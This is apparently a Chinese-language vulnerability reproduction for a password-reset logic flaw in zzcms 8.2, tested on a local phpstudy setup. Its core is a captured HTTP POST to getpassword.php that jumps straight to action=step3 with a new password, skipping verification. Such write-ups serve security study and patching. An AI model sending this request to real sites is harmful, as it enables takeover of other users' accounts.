逻辑漏洞之密码重置漏洞

环境：

Web： phpstudy
System： Windows 10x64
源码版本为：zzcms 8.2

漏洞详情

1、环境的搭建

image.png

2、创建数据库

image.png
3、测试是否可以访问
image.png

本地复现开始

1、首先先注册个账号,然后首页点击找回密码

image.png
2、然后退出点找回密码链接：http://127.0.0.1/one/getpassword.php

3、用burp抓包：

1.png

4、设置Payload

POST /one/getpassword.php HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 91
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/one/getpassword.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: timezone=8; PHPSESSID=e9nqsiqk95ilvgt98uogkp7fc6; BkGOp9578O_think_template=default; bdshare_firstime=1534304509497
Connection: close
Upgrade-Insecure-Requests: 1

password=test&action=step3&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5

5、继续Forward，账号修改成功

2.png